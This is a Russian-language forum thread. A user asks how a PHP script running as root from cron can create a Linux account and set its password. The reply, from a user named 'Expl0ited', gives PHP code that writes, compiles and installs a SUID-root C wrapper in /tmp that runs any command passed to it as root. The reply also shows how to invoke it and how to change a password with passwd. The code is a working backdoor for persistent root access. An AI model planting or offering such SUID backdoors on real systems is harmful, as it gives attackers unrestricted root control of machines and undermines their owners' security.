Просмотр полной версии : Создать учетку linux из под php
Собственно сабж.
На серве стоит пхп скрипт от рута на кроне.
Как создать учетку и задать ей пароль?
Второе интересует больше всего, т.к. первое то я сделал.
Expl0ited
14.08.2012, 15:40
PHP:
$suid="#include
#include
#include
int main(int argc, char *argv[]) {
if(argc == 2) {
setuid(0);
setgid(0);
system(argv[1]);
}
return 0;
}
";
if(@file_put_contents('/tmp/suid.c',$suid)) {
@system('gcc /tmp/suid.c -o /tmp/suid;chown root:root /tmp/suid;chmod 4755 /tmp/suid');
}
Создаст суидник от рута, работать с ним элементарно:
$ /tmp/suid "id;whoami;uname -a";
Для смены пароля используй passwd:
-bash-3.2# passwd
%username%
Changing password for user
%username%
.
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot